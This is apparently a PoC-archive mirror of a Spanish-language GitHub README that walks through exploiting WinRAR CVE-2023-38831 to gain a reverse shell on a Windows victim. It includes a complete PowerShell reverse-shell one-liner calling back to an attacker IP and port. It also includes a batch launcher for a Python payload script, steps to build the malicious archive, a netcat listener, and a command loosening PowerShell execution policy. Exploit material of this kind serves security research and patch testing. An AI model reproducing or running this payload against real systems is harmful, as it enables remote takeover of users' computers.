Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-38831 PoC — WinRAR 安全漏洞

Source
Associated Vulnerability
Title:WinRAR 安全漏洞 (CVE-2023-38831)
Description:RARLAB WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through October 2023.
Description
Pasos necesarios para obtener una reverse shell explotando la vulnerabilidad de winrar CVE-2023-38831 en versiones anteriores a 6.23.
Readme
# OBTENCIÓN DE REVERSE SHELL EXPLOTANDO LA VULNERABILIDAD CVE-2023-38831 DE WINRAR

En este repositorio vamos a explotar la vulnerabilidad CVE-2023-38831 de winrar de tal forma que podamos obtener una reverse shell desde la máquina víctima Windows a la máquina atacante Kali Linux.

## PASOS PREVIOS

Descargamos el contenido de este repositorio:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/76e5d05c-fc09-4c1c-ac30-7643de19f846)


A continuación, debemos de instalar las dependencias de Python necesarias para poder explotar esta vulnerabilidad con los siguientes comandos:

```
pip install rarce
```
![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/7568907f-454b-42e8-a75d-71028a2bbd53)

## PREPARATIVOS

Vamos a ejecutar un código malicioso que nos proporcione una reverse shell, procedente de la web revshells.com (proporcionando la IP y puerto de atacante correspondiente):

https://www.revshells.com/

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/293fc1a8-9284-44a1-b7b9-03942a56cded)

```
$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
```

Este código de powershell lo guardamos en un fichero .ps1 (será ejecutado posteriormente):

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/c203c1fd-0cc2-436c-90a5-44b15bb18382)

Una vez obtenido el código en ps1 para obtener la reverse shell, creamos un fichero python que mediante el uso de la librería os se encargue de ejecutar el fichero .ps1:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/050814e6-e714-44cd-bd2e-18b3ec3c86a0)

Después, creamos un .bat con el siguiente código:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/5d79bcc3-a2a2-4cf8-9f1d-540e7e1977a2)

```@echo off

rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe

rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py

rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%

rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause
```


## EXPLOTACIÓN

En este punto debemos de crear el winrar malicioso:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/c6d9d31d-0068-4b4f-bb86-7a85436d1f10)

Ejecutamos el archivo documento.pdf dentro del .rar:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/92601051-7385-4e95-be85-4e8488dc855e)


![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/61de11e3-dc4b-4096-a587-2ce3eda716a1)

Por último, si permanecemos en esucha con netcat desde una máquina atacante, habremos recibimos la reverse shell:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/1c63917f-9139-4199-bbb5-1733186b4625)

## SOLUCIÓN DE POSIBLES ERRORES:

En caso de no poder ejecutar comandos de powershell, es necesario habilitar la ejecución de scripts en nuestro sistema:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/67d424aa-952f-4eba-b3c8-367f26a8a0d7)

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/4671816c-f06b-4027-bbca-04d9123259bd)

Lo habilitamos:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/bd045996-26c7-4c24-89f7-529b9c576c76)

Y ejecutamos el siguiente comando:

```Set-ExecutionPolicy RemoteSigned -Scope CurrentUser```




File Snapshot

[4.0K] /data/pocs/f4194bcdac1d931dccbb0edcfa6f02df49e366b5 ├── [ 318] comando.bat ├── [ 82K] documento.pdf ├── [ 34K] LICENSE ├── [ 50] pwned.py ├── [4.0K] rarce │   ├── [1.5K] cli.py │   ├── [ 100] __init__.py │   ├── [ 30] __main__.py │   └── [5.6K] rarce.py └── [4.2K] README.md 1 directory, 9 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →